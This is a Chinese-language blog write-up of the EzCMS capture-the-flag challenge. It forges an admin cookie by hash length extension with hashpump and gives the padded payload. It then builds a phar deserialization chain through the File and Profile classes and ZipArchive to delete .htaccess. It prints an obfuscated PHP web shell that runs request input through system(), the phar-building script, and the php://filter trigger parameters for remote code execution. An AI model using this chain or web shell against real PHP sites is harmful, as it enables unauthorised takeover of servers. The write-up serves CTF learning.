EzCMS
尝试admin/admin
登录,发现提示u r not admin !!!
,换个用户名登录能够登录但是不能上传,还是提示u r not admin !!!
,说明一定要admin
登录才能上传文件,先扫描一波目录发现www.zip
源码泄露
我们现在在登录框这里,那么我们就看看相关的代码
//index.php
if ($password === "admin"){
die("u r not admin !!!");
}
//config.php
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
}
function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}
这是典型的hash
长度扩展攻击,burpsuite
抓包获取到hash
值$secret+adminadmin
长度为13
,利用hashpump
生成payload
,附加数据至少一位以上
得到
16b4749dfe1485120ea0912338d13a78
admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00xxx
第一个是新的签名,把它设置到cookie的user里面
第二个把\x
替换成%
admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00xxx
然后post
提交,就成功以admin
账户登录
发现一登录进去就自动上传了一个.hatccess
进去,内容为lolololol, i control all
,这下无论上传什么php
文件打开都是500
报错,无法解析,于是我们想到删除或者重写它
开始代码审计,在view.php
里面实例化了File
类使用了mime_content/-type()
,再想到上传结合SUCTF2019
出题笔记(https://xz.aliyun.com/t/6057),可能是phar
反序列化
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
下面是构造利用链来删除或者重写.htaccess
首先来看view.php
//view.php
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);
$res = $file->view_detail();
$mine = $res['mine'];
$store_path = $res['store_path'];
echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
可以看到在view.php
页面,会用传入的$file_name
和$file_path
参数实例化File
类,然后调用view_detail()
方法,跟进File
类:
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath);
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}
发现__destruct()
方法,可以看到用$checker
调用了此类中不存的upload_file()
函数,于是想到了__call()
方法,继续寻找,发现Profile
类中存在可利用的__call()
方法,如下:
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}
在File
类里面的open
方法如下:
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
从view.php
里面知道admin
是可控的,于是可以找一下php
里面有没有可以用来删除/重写文件的类,正好存在可利用的同名open()
方法,这样我们就可以将$admin
实例化为此类的对象,这里用到ZipArchive
类(https://www.php.net/manual/en/zip.constants.php#ziparchive.constants.overwrite)
使用上述两个模式并将文件名设为.htaccess
的路径,即可删除该文件
知道思路后先记录下当前.htaccess
文件路径,然后上传一个shell.php
,记录上传后的路径
//shell.php
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>
用如下代码构造phar
文件
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->username = "/var/www/html/sandbox/5986bdeafa01f62fdfd715792cb1beff/.htaccess";
$this->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$this->admin = new ZipArchive();
}
}
$a = new File('Lethe','Lethe');
//echo unserialize($a);
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
然后在view.php
触发反序列化
传入
filename=5986bdeafa01f62fdfd715792cb1beff/eec2d95bc618625503306c10fad5d37d.phar
filepath=php://filter/resource=phar://sandbox/5986bdeafa01f62fdfd715792cb1beff/eec2d95bc618625503306c10fad5d37d.phar
就成功删除了.htaccess
注意删除后不能再次访问upload.php
,否则会再生成.htaccess
,直接访问刚才上传shell
返回的路径即可RCE
参考链接
https://blog.csdn.net/qq_42181428/article/details/100659865
版权属于:ghtwf01
本文链接:https://www.ghtwf01.cn/index.php/archives/341/
版权声明:转载时须注明出处及本声明
0 条评论